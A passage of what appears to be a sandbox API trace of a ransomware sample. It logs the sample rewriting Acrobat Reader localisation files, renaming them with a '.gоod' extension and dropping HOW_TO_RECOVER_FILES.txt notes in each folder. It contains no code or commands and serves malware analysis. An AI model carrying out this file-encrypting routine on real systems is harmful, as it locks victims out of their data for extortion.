[0201.636] GetFileType (hFile=0x854) returned 0x1 [0201.636] SetFilePointer (in: hFile=0x854, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1d8f [0201.636] WriteFile (in: hFile=0x854, lpBuffer=0x32ee100*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x32ee100*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0201.636] CloseHandle (hObject=0x854) returned 1 [0201.636] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0201.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0201.636] GetFileType (hFile=0x854) returned 0x1 [0201.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0201.637] GetFileType (hFile=0x854) returned 0x1 [0201.637] ReadFile (in: hFile=0x854, lpBuffer=0x32f0428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x32f0428*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0202.150] CloseHandle (hObject=0x854) returned 1 [0202.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0202.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0202.151] GetFileType (hFile=0x854) returned 0x1 [0202.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0202.151] GetFileType (hFile=0x854) returned 0x1 [0202.151] WriteFile (in: hFile=0x854, lpBuffer=0x32d71b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x32d71b8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0202.151] CloseHandle (hObject=0x854) returned 1 [0202.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0202.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0202.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x74b38bbd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f)) returned 1 [0202.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0202.152] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js.gоod")) returned 1 [0202.153] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0202.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0202.153] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0202.154] GetFileType (hFile=0x854) returned 0x1 [0202.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0202.154] GetFileType (hFile=0x854) returned 0x1 [0202.155] WriteFile (in: hFile=0x854, lpBuffer=0x34d6400*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34d6400*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0202.156] CloseHandle (hObject=0x854) returned 1 [0202.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0202.156] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr", lpFilePart=0x0) returned 0x6a [0202.156] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.156] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.157] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0202.157] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0202.157] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0202.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0202.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0202.157] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr", lpFilePart=0x0) returned 0x6a [0202.258] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.259] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.259] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0202.259] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0202.259] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0202.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0202.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0202.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3325b50 | out: lpFileInformation=0x3325b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d)) returned 1 [0202.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0202.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0202.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0202.261] GetFileType (hFile=0x854) returned 0x1 [0202.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0202.261] GetFileType (hFile=0x854) returned 0x1 [0202.261] SetFilePointer (in: hFile=0x854, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0202.261] ReadFile (in: hFile=0x854, lpBuffer=0x3326038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3326038*, lpNumberOfBytesRead=0x1ffebaa8*=0xf3d, lpOverlapped=0x0) returned 1 [0202.263] CloseHandle (hObject=0x854) returned 1 [0202.264] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0202.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0202.264] GetFileType (hFile=0x854) returned 0x1 [0202.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0202.264] GetFileType (hFile=0x854) returned 0x1 [0202.264] SetFilePointer (in: hFile=0x854, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1f3d [0202.264] WriteFile (in: hFile=0x854, lpBuffer=0x3327338*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3327338*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0202.264] CloseHandle (hObject=0x854) returned 1 [0202.264] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0202.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0202.265] GetFileType (hFile=0x854) returned 0x1 [0202.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0202.265] GetFileType (hFile=0x854) returned 0x1 [0202.265] ReadFile (in: hFile=0x854, lpBuffer=0x3329660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3329660*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0202.524] CloseHandle (hObject=0x854) returned 1 [0202.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0202.524] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0202.524] GetFileType (hFile=0x854) returned 0x1 [0202.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0202.524] GetFileType (hFile=0x854) returned 0x1 [0202.524] WriteFile (in: hFile=0x854, lpBuffer=0x3327568*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3327568*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0202.524] CloseHandle (hObject=0x854) returned 1 [0202.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0202.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0202.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x74ecc49d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d)) returned 1 [0202.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0202.525] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\ui-strings.js.gоod")) returned 1 [0202.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0202.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0202.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\tr-tr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0202.527] GetFileType (hFile=0x854) returned 0x1 [0202.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0202.527] GetFileType (hFile=0x854) returned 0x1 [0202.528] WriteFile (in: hFile=0x854, lpBuffer=0x33adaa0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x33adaa0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0202.529] CloseHandle (hObject=0x854) returned 1 [0202.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0202.529] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua", lpFilePart=0x0) returned 0x6a [0202.529] FindFirstFileW (in: 